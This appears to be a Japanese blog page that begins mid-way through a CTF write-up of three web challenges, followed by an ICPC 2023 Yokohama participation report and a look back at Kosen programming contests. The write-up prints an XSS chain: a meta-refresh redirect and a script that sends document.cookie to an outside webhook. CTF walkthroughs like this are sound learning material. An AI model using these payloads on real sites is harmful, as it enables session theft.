function hash(input) { let result = input; for (let i = 0; i < 10; i++) { result = CryptoJS.SHA256(result); } return (result.words[0] & 0xFFFFFF00) === 0; } async function send(array) { document.getElementById("server-response").innerText = await fetch( "/api/pow", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(array), } ).then((r) => r.text()); } let i = BigInt(localStorage.getItem("pow_progress") || "0"); async function main() { await send([]); async function loop() { document.getElementById( "client-status" ).innerText = `Checking ${i.toString()}...`; localStorage.setItem("pow_progress", i.toString()); for (let j = 0; j < 1000; j++) { i++; if (hash(i.toString())) { await send([i.toString()]); } } requestAnimationFrame(loop); } loop(); } main();
SHA256を全探索でひたすら計算して、特定の条件を満たすものがあればsendしているらしい。
しばらく待つと、Server responseが progress: 1 / 1000000 に変わっていた。条件を満たす数字を [ "150" ] みたいに配列に入れて送ると progress が増えるようだ。
試しに手元で適当な値を送ると弾かれてしまうが、さっき送信されていた要素を再送するとprogressがまた増えた。
100万回ペイロードを投げれば通りそうだが流石に怒られてしまうので、他の方法を考える。数字がなぜか配列に入っているのが明らかにおかしくて、試しに配列に条件を満たす数字を100個入れて送るとprogressが100増えた。
配列長分だけprogressが増えるようなので、適当に9万個ぐらいの数字を送るのを繰り返すとフラグが得られた。
One Day One Letter (Normal, 190pt, 105solves)
server.py (contentserver)
import json import os from datetime import datetime from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.request import Request, urlopen from urllib.parse import urljoin from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl') assert len(FLAG_CONTENT) == 12 assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT) def get_pubkey_of_timeserver(timeserver: str): req = Request(urljoin('https://' + timeserver, 'pubkey')) # server/pubkeyにgetを投げる with urlopen(req) as res: key_text = res.read().decode('utf-8') return ECC.import_key(key_text) def get_flag_hint_from_timestamp(timestamp: int): content = ['?'] * 12 idx = timestamp // (60*60*24) % 12 content[idx] = FLAG_CONTENT[idx] return 'FLAG{' + ''.join(content) + '}' class HTTPRequestHandler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200, "ok") self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS') self.send_header("Access-Control-Allow-Headers", "X-Requested-With") self.send_header("Access-Control-Allow-Headers", "Content-Type") self.end_headers() def do_POST(self): try: nbytes = int(self.headers.get('content-length')) body = json.loads(self.rfile.read(nbytes).decode('utf-8')) timestamp = body['timestamp'].encode('utf-8') signature = bytes.fromhex(body['signature']) timeserver = body['timeserver'] pubkey = get_pubkey_of_timeserver(timeserver) # pubkeyを取る h = SHA256.new(timestamp) verifier = DSS.new(pubkey, 'fips-186-3') verifier.verify(h, signature) # pubkey, timestamp, signatureで検証 self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() dt = datetime.fromtimestamp(int(timestamp)) # timestampの日付 mod 12で1文字leak res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p> <p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p> <p>You can get only one letter of the flag each day.</p> <p>See you next day.</p> ''' self.wfile.write(res_body.encode('utf-8')) print('OK') self.requestline except Exception: print('Exception') self.send_response(HTTPStatus.UNAUTHORIZED) self.end_headers() handler = HTTPRequestHandler httpd = HTTPServer(('', 5000), handler) httpd.serve_forever()
server.py (timeserver)
from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer import json import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') class HTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/pubkey': self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = pubkey self.wfile.write(res_body.encode('utf-8')) self.requestline else: timestamp = str(int(time.time())).encode('utf-8') h = SHA256.new(timestamp) signer = DSS.new(key, 'fips-186-3') signature = signer.sign(h) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/json; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()}) self.wfile.write(res_body.encode('utf-8')) handler = HTTPRequestHandler httpd = HTTPServer(('', 5001), handler) httpd.serve_forever()
contentserverとtimeserverという2つのサーバーがあり、timeserverで発行されたjsonに載っているtimestampの日付をもとに、FLAGのうち1文字が開示される。
大事なのは署名を確認するtimeseverのURLをjson側で指定できること。つまり、自前でtimeserverを建てて、発行したjsonのtimeserverを自前のものに設定してしまえば、問題サーバー側のtimeserverを一切経由せずにやりとりが可能になる。
あとは自前のtimeserverで生成するtimestampの値を適当に弄れば、フラグの文字数分だけリクエストを投げることでフラグが特定できる。
https通信ができるサーバーを自前で建てるのは流石に面倒なので localtunnel を使った。
Noscript (Normal, 202pt, 89solves)
main.go
package main import ( "context" "fmt" "html/template" "net/http" "os" "regexp" "sync" "github.com/gin-gonic/gin" "github.com/google/uuid" "github.com/redis/go-redis/v9" ) type InMemoryDB struct { data map[string][2]string mu sync.RWMutex } func NewInMemoryDB() *InMemoryDB { return &InMemoryDB{ data: make(map[string][2]string), } } func (db *InMemoryDB) Set(key, value1, value2 string) { db.mu.Lock() defer db.mu.Unlock() db.data[key] = [2]string{value1, value2} } func (db *InMemoryDB) Get(key string) ([2]string, bool) { db.mu.RLock() defer db.mu.RUnlock() vals, exists := db.data[key] return vals, exists } func (db *InMemoryDB) Delete(key string) { db.mu.Lock() defer db.mu.Unlock() delete(db.data, key) } func main() { ctx := context.Background() db := NewInMemoryDB() redisAddr := fmt.Sprintf("%s:%s", os.Getenv("REDIS_HOST"), os.Getenv("REDIS_PORT")) redisClient := redis.NewClient(&redis.Options{ Addr: redisAddr, }) r := gin.Default() r.LoadHTMLGlob("templates/*") // Home page r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", gin.H{ "title": "Noscript!", }) }) // Sign in r.POST("/signin", func(c *gin.Context) { id := uuid.New().String() db.Set(id, "test user", "test profile") c.Redirect(http.StatusMovedPermanently, "/user/"+id) }) // Get user profiles r.GET("/user/:id", func(c *gin.Context) { c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'") id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { params := map[string]interface{}{ "id": id, "username": val[0], "profile": template.HTML(val[1]), } c.HTML(http.StatusOK, "user.html", params) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Modify user profiles r.POST("/user/:id/", func(c *gin.Context) { id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if _, ok := db.Get(id); ok { username := c.PostForm("username") profile := c.PostForm("profile") db.Delete(id) db.Set(id, username, profile) if _, ok := db.Get(id); ok { c.Redirect(http.StatusMovedPermanently, "/user/"+id) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Get username API r.GET("/username/:id", func(c *gin.Context) { id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { _, _ = c.Writer.WriteString(val[0]) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Report API r.POST("/report", func(c *gin.Context) { url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d" re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(url) { if err := redisClient.RPush(ctx, "url", url).Err(); err != nil { _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>") return } if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil { _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>") return } _, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>") } else { _, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>") } }) if err := r.Run(); err != nil { panic(err) } }
index.js (クローラ）
const { chromium } = require("playwright"); const Redis = require("ioredis"); const connection = new Redis({ host: process.env.REDIS_HOST, port: process.env.REDIS_PORT, }); const APP_URL = process.env.APP_URL; // application URL const HOST = process.env.HOST; // HOST const FLAG = process.env.FLAG; // FLAG const crawl = async (path) => { const browser = await chromium.launch(); const page = await browser.newPage(); const cookie = [ { name: "flag", value: FLAG, domain: HOST, path: "/", expires: Date.now() / 1000 + 100000, }, ]; page.context().addCookies(cookie); try { await page.goto(APP_URL + path, { waitUntil: "domcontentloaded", timeout: 3000, }); await page.waitForTimeout(1000); await page.close(); } catch (err) { console.error("crawl", err.message); } finally { await browser.close(); console.log("crawl", "browser closed"); } }; (async () => { while (true) { console.log( "[*] waiting new url", await connection.get("queued_count"), await connection.get("proceeded_count"), ); await connection .blpop("url", 0) .then((v) => { const path = v[1]; console.log("crawl", path); return crawl(path); }) .then(() => { console.log("crawl", "finished"); return connection.incr("proceeded_count"); }) .catch((e) => { console.log("crawl", e); }); } })();
ユーザー登録によってusername/profileに任意の文字を入力でき、/user/* をadminにクロールさせることができる。
adminがcookieを持っているので、それを流出させればフラグが得られる。
/user/:id で任意の文字を表示できるのでXSSを行いたいが、CSPで default-src 'self', script-src 'none' がついているのでここでのXSSは難しそう。
ソースを読むと、/user/:id の他に /username/:id というエンドポイントがあることが分かる。
このページはCSPが設定されておらず、手元のブラウザで試してみると実際にXSSを発火させることができた。
ただ、adminがクロールできる先は /user/* のみなので、どうにかして /username/* にアクセスを飛ばす必要がある。
HTMLにはmetaタグというものがあり、 <meta http-equiv="refresh" content="0;URL=https://evil.example.com"> のように書き込むことでCSPを貫通してリダイレクトを起こせる。
これを使うことでクローラに任意のアドレスを踏ませることができる。
ここまでは分かったが遷移先の /user/:id でcookieが消えてしまい、ここから手詰まりになってしまった。
「多分解けそうなので頼む！」と書いて放置しておくとチームメイトが通してくれた。
metaタグの遷移先を http://app:8080/username/:id のようにする必要があったらしい。クローラのコードを見るとcookieのdomainが http://app:8080 で設定されており、遷移させる際のアドレスもそれに合わせる必要があったということだろう。
最終的なペイロードは <meta http-equiv="refresh" content="0;URL=https://app:8080/username/{2つ目のid}"> と <script>fetch('https://{webhookへのリンク}?cookie=' + document.cookie)</script> になった。
今回はuserページを2つ用意したが、前者をprofileに、後者をusernameにすることでuser登録一回で済む。
ICPC 2023 Asia Yokohama Regional 参加記
はじめに
この記事は 東京高専SPC同好会/プロコンゼミ老人会 Advent Calendar 2023 の記事です。
2023/11/25-2023/11/26 に開催されたICPC 2023 Asia Yokohama Regionalに筑波大学からチーム "GoodBye2023" で参加し、9完9位でした。 本記事ではチーム構成やコンテスト中の動きなどについて記していきます。
チームについて
- 僕: 引退勢・アルゴ黄
- Aくん（仮名）: 引退勢・アルゴ黄（highest橙）
- Bくん（仮名）: アクティブ勢・アルゴ橙
の3人で組みました。 記事に名前を載せていいか聞いてないのでチームメンバーは仮名で呼ぶことにします。
チームメンバーのやる気があまり無かったこともあり、一度のみの練習で競技に臨みました。
コンテスト
事前の打ち合わせでは僕が事前準備担当でAくん・BくんにそれぞれA・Bを解いてもらう手筈だったのですが、Ubuntuにユーザー名とパスワードを入力した時点でPCがフリーズ。 どうしようもなさそうだったのでスタッフを呼んでPCを再起動して貰いました。 これが原因で僕たちのみ3分延長となったのですが、トラブルが起きている間も問題文を読むことはできていたので少し得だな～と思ってました。 再起動後にはAの解法が出ていたので僕は準備をせずにC以降の問題文読みをすることになりました。
C問題以降について、問題ジャンルと制約、可能ならおおよその難易度感を伝えるつもりで雑読みをしていきます。 適当に読んでいくとDが明らかにRun-Length Grammarの話でニヤニヤしつつ、Fがかなり楽そうな見た目をしていることに気がつきました。 Aが解けた時点で順位表を見るとFが1チームに解かれていたので簡単だと確信し手を付けることにします。 少し考えるとランレングス圧縮のように考えれば良いことがわかり、ABを解いてもらった後に実装、バグらせずに無事Fを解くことができました。
後は問題を読みつつ順位表と相談して解けそうな問題を探します。Dが阪大のチームに解かれており、そこで少し考えると O(n3) の区間DPが思いついたので実装を詰めます。 Aくん・Bくんはこの時点でEの考察を終え実装をしていたのですが、少し計算量が悪いらしくTLE。 Eの実装・計算量改善とDの実装・バグ取りをPCを交互に触りながら行い、90分時点で両方ACが出ました。
DEの実装をしている間にAくんがKを解いたらしく、概要と雑解法を聞いた時点で実装を任せ、Bくんと一緒に他の問題について考えていきます。 残りでACが出ている問題ははGHJで、順位表を見る限りだとGが少し楽そうです。 Jについてはいくつかの仮定を信じるとHLD+min-add遅延セグ木で解けるということを教えてもらいましたが、写経コストと嘘解法の可能性を考えて放置。 Hも燃やす埋めるに帰着できそうなことを教えてもらったので、辺の張り方などを詰めてもらうことにしました。 Gも2人で考察をしていると実験結果次第で解けそうなことが分かり、KのACが出たところでBくんに実験コードを書いてもらうと実行時間が十分間に合いそうなことが判明、そのまま実装をお願いしました。 1ペナこそありましたがGも無事AC。
この時点で競技開始から2時間半ちょっと。残りの可能枠はHIJで、JとHはおおよその解法が出ているがライブラリ写経が必要な状態です。 ここでAくんにDinic+HLD+Lazy Segtreeの写経を全て投げます。本来なら実力的に僕がやるべきなんですが、僕はUSキーボードに不慣れでまともに写経ができない状態でした。 Jを考えていると貪欲を信じて良い気持ちになれたので貪欲の実装部分をすぐ実装できるよう簡単に紙コーディングをしていきます。BくんはHの具体的なグラフ構築を詰めている状態です。 写経が終わったのでJを書くと一切バグらず一発で動き、半信半疑のまま投げるとなんと一発AC。 その後に実装してもらったHも問題なく一発でACを得ることができました。9完。
一桁順位もほぼ確定したので安心しつつ、最後の45分でIを考えます。 途中まで線形計画や行列の気持ちになって迷走していたのですが、比率が極端に偏っているものは作りようがないという点を考えるとうまく貪欲したい気持ちになってきます。残り20分しかないので細かい実装の仕方も分からないままコードを書き、途中でAくんがもう少しマシな方法を思いついたので実装役を交代します。 残り15分程度のところでBくんが想定解と同じベクトルを使った解法を思いつき、それを信じて実装役をもう一度交代。 コードは書ききったけどバグっている状態でアディショナルタイムを終え、コンテスト終了となりました。
結果・感想
9完9位でした。僕達の実力と練習量を考えると大成功と言えると思います。 ただもう少しで10完銅メダルだったこともあり、さらに良い結果が出せた可能性を考えると後悔もあります。
僕は来年から外部の大学院に進学するのでここでICPC人生は終了という気持ちだったのですが、実はAsia Pacific playoffに参加できる確率が結構高いらしいということを後で知りました。どうやら2023年でGoodByeとはならなかったようです。 アジア地区予選を終えチームメンバー全員のモチベーションも高いので、チーム練も行いながら次のコンテストに向けて頑張っていきます。
高専プロコン (procon28~procon30) の競技部門を振り返る
はじめに
この記事は 東京高専SPC同好会/プロコンゼミ老人会 Advent Calendar 2022 4日目の記事です。
本記事の目的
本記事では、私が高専時代に参加してきた全国高等専門学校プログラミングコンテスト競技部門の問題・解法などを振り返っていきたいと思います。
懐古のために書いている記事ではありますが、この記事が後年の参加者の助けになれば嬉しいです1。
procon28（2017年 大島大会）
この年はprocon27に引き続いて木工パズルを解く問題で、「画像認識でパズルのピースを埋めるパート」「探索でパズルの解を探すパート」のそれぞれの処理を上手く行う必要がありました。また、得点の低下と引き換えにヒント情報を得る事ができ、ピースの形状情報ヒントを得る事で前者のパートを省略する事が可能でした。
僕はそれぞれのアルゴリズム部分には特に触れていないのですが、前者は木工パズル特有のカット時誤差・スキャン時の測定誤差などがあってかなり厳しく、後者のパートはビームサーチ等で解けたそうです。
当時は高専1年で入学時点ではプログラムもロクに書けない状態だったのですが、2つ上の @_nosita 先輩に誘われてチーム「Cult of the Part Parrot」で参加する事になりました。（本選メンバーには含まれていません）
QtとC++での開発で、僕や他の一年生はビジュアライザを書いたり問題の自動生成をしたりしていました。リポジトリは これ です。
大会では産技品川の方が画像認識パートの輪郭抽出・エッジ検出等を高精度で行った結果唯一ヒント無しで問題を解き優勝、2位以下は形状情報を使ってパズルを完成させており、僕たちは決勝5位で特別賞となりました。
procon29（2018年 徳島大会）
この年も競技部門に参加しました。チーム「人間の力」のチームリーダーをして、アルゴリズム・ビジュアライザ等諸々を書きました。 リポジトリは これ です。
今回の競技はグリッド上での2人対戦陣取りゲームです。各マスには得点が振ってあり、プレイヤーは複数体のコマ（エージェント）をターン毎に動かしながら陣地（タイル）を確保していきます。
自分が確保した（エージェントが踏んだ）マスの得点に加えて、自分のタイルで囲んだマスの得点ものチームの点数となるため、基本的に高得点のマスを踏みつつ要所要所で囲んでいく戦略が重要になる、という展開が想定されていたと思います。
と、ここまで書くと良いゲーム問題のように感じてしまいますが、実態は大きく異なりました。
まず、このゲームですが、会場に1マス50cm程度のグリッドが物理的に存在し、その上でグリッド上に紙製のタイルを置いて戦います。競技部門は例年3人チームで参加するのですが、そのうち1人が司令塔としてグリッド外でパソコンを操作、残りの2人は実際にグリッド上でコマとして動きます。
また、司令塔はエージェントに次の行動（移動・タイル削除など）を指示する必要があるのですが、この情報伝達には音声やその他通信を使う事ができず、A4サイズのトランプを用いて行う必要があります。
ターン毎に盤面は変化していくのですが進行中の盤面状況は与えられないので、コマとタイルの動きを目視して盤面の変化を確認し、パソコンを操作して手元のソフトウェア上に盤面を反映する必要があります。一度でも盤面入力を失敗すると手元と実際のフィールド情報に齟齬が発生してしまい悲惨な事になります。
各ターンでは「前ターンでの4人分の行動の確認」「手元のパソコンへの入力」「次の手の決定」「味方コマへの行動指示」を全て行う必要があるのですが、ターン間の猶予時間は10～15秒程度しか存在せず、ほとんどのチームは盤面の入力すらままならないまま、アルゴリズムの段階にも辿り着けずに競技を終える事となりました。
大会2日目になると上位チームは操作に慣れてうまく通信・盤面反映ができるようになったのですが、それでも相手の動きが簡単に分かってしまう事やそもそもパソコンを触っている余裕がない事などが原因で、人間がその場その場でアドホックに考えて行動する方が強いという結論となってしまいました。
募集要項に「メンバー間の頑健かつ効率的な通信方法が勝利のカギになります。」と書かれている通り、運営の想定では相手のトランプの札から移動方向を推測してメタを張ったり、それができないように分かりやすく突破が難しい暗号化方法を構築したりすることを考えられていたようなのですが、たかだか15秒の間にそんな芸当ができる訳もなく、適当に選んだトランプを持って腕を移動方向に大きく振るような方法で通信をするチームが上位を含めほとんどを占めていました。
見栄えを良くするために導入したであろう人力要素でしたが、各タイルの得点が競技者以外に見えない事からそもそも試合中はどちらが優勢なのかすら分からないような有様で、講評では審査委員長の神沼先生から「競技部門は何をやっているか分かりづらかった」という感想が飛び出したりしました。
私達のチームは夏休みに産技品川と模擬試合をやったり直前に部屋を借りて人力操作の練習をした結果「これどうせまともな試合にならないんじゃね……？」という結論に辿り着き、盤面の手入力が簡単なUIの整備に力を入れたりしていました。その甲斐あってか予選時点でそこそこまともな試合ができて決勝トーナメント進出、2日目は対戦相手が操作に慣れた事もあり少し厳しい試合もありましたが無事決勝までたどり着く事ができました。
決勝ですが、自分がQRコードで読み込んだ盤面を誤って180度回転させた状態で戦ってしまい、仙台名取にボロ負けしてして準優勝でした2。
ちなみに使用したアルゴリズムは簡単なDP・DFSをベースにしたもので、陣地を囲むと手に入る領域ポイントはアルゴリズム上では無視していました。アルゴリズムは人力の補助として運用し、半年間かけて鍛えた人間の判断力を活かして戦っていきました。
この年は問題が凄くて最早アルゴリズムで戦うとかそういうレベルではなかった印象です。 今後はこのような問題が出ない事を願っていますが、もし出題された場合はアルゴリズムによる解決に固執せず、早い段階で人力に振りきってしまうのが良いと思います3。
procon30（2019年 都城大会）
この年もチームリーダーとして参加しました。チーム名は「独立行政法人国立高等専門学校機構東京工業高等専門学校」です。今回も昨年と同じくアルゴリズムやビジュアライザをゴリゴリ書いていました。 リポジトリは これ です。
今回の問題は前年と同じ陣取りゲームで、物理的な要素がなくなりサーバーを使って通信するようになった所が大きな変更点です。 得点に関する基本的なルールはほぼ変わりませんでしたが、扱うエージェント数が増えたりターンの間隔が短くなったりといくつかの細かい変更が行われました。
今回の問題では物理要素がなくなったため純粋なアルゴリズムの要素が強くなると考えられ、実際に様々なアルゴリズムを実装して性能確認を行ったりしていました。 コードを書いていく中で領域ポイントの判定（タイルが囲んでいる領域の判定）が非常に重い事が課題となりました。 これは領域ポイントを考慮するアルゴリズムでは避けられない問題であり、かなり厳しいです。
結局この課題は10月頃まで解決できず決定的な手法も見つからないような状態だったのですが、ここで「別に人力でどうにかすればよくね………？」という結論に至り、その方針で考え直す事にしました。
その結果、去年と同じくDPやビームサーチをベースとしたアルゴリズムを用いて（領域ポイントを考慮しない）自分と相手の行動を求め、盤面を見ながら人間計算機の力で適宜修正していくという手法に落ち着きました。
人力を混ぜる都合上UIは極力使いやすいように整備し、サーバー関連の動作確認も念入りに行いました。特にサーバーとの通信は失敗しているチームが多く、予行演習の段階では7割程度のチームが通信できていませんでした。
大会では順調に勝ち上がり、予行演習から決勝まで意図的な敗北を除けば全勝で優勝する事ができました。また、同時に参加していた課題部門・自由部門についても東京高専の他チームが最優秀賞を獲得し、全部門で最優秀賞という結果になりました。
余談ですが、NAPROCK国際プログラミングコンテストという（高専プロコンと運営が同一の）プログラミングコンテストが存在しており、例年は10月の高専プロコンと同時開催されていました4。 今回はNAPROCK国際プロコンが初の国際開催となり、私達を含む高専プロコンの上位チームは2020年にベトナムのハノイで開催される予定であったNAPROCK国際プロコンに招待される事になりました。
procon31以降
当時～2022年現在の東京高専プロコンゼミでは3年生でプロコンから引退する慣習が存在していたため、2020年以降は高専プロコンには参加していません。
一応覚え書き程度に記しておくと、2020年3月から流行した新型コロナウイルスの影響でNAPROCK国際プロコンは中止となり、procon31はオンライン化、競技部門はその都合で中止となりました。
また、その翌年は競技部門が復活したものの完全オンラインでの開催となりました。
競技部門の問題はprocon25を元にしたスライドパズル+画像復元問題であり、強い競技プログラマの方が優勝・準優勝されていました。
おわりに
高専プロコン競技部門について振り返りました。
高専プロコンの問題は例年
- 問題中の定義が不明瞭だったり
- 人力要素を入れた方が強かったり
- 実際に解けない最悪ケースがルール上存在したり
- テストプレイされているとは思えない内容だったり
- 参加者のレベルと問題の難易度に大きな差があったり
するので、現役の方は苦しんでおられると思います。頑張ってください。
競技の問題については酷いものは本当に酷い（僕の参加分だとprocon29など）のですが、
近年は毎年ちゃんと考察して良いアプローチを取ったチーム（いわゆるアルゴ勢のいるチーム）が順当に上位に来ているような印象があります5。
また、老害的なアドバイスですが、現役の方は
- ルールに関する質問はドシドシ投げる
- サーバーを使う競技の場合は事前に十分テストする
- 操作パートが快適にできるようUI部分を整える
- 人力を入れた方が強い場合を考慮する
- 終盤の限界開発をしない
などをしておくとよいと思います。
カスみたいな問題に対してキレながら実装していた事も今となっては良い思い出と言えなくもない気がします。開発期間中は苦しいと思いますが是非頑張ってください。
- 高専プロコン競技部門では過去問題のリメイク再出題がされる事が多く、僕も先人の参加記を読んでアイデアを貰ったりしていました↩
- 操作ミスを言い訳にするの本当に負け惜しみっぽくて嫌なんですが、実際にこのミスが原因で数百点差がつきました。決勝後に教員に「これ誰が悪いんですか」みたいな事を言われてつらい気持ちになったのを思い出しました。↩
- コンテストとしてどうなんだ……という気持ちにはなりますが、過去に何度も前例がある以上人力とどうにか向き合うしかなさそうです↩
- 海外チームがオープン参加のような形式で参加していたり表彰式で2回同じ表彰をしたりしてるアレです。僕の入学前のタイミングでは国内の他大学も参加可能となっており、procon25では東大チームが優勝していたそうです。↩
- こう書くと自分の事を褒めてるみたいでかなり微妙なんですが、特にここ数年 (procon32,procon33) はアルゴリズマーの方がちゃんと競技をされていて凄いです↩
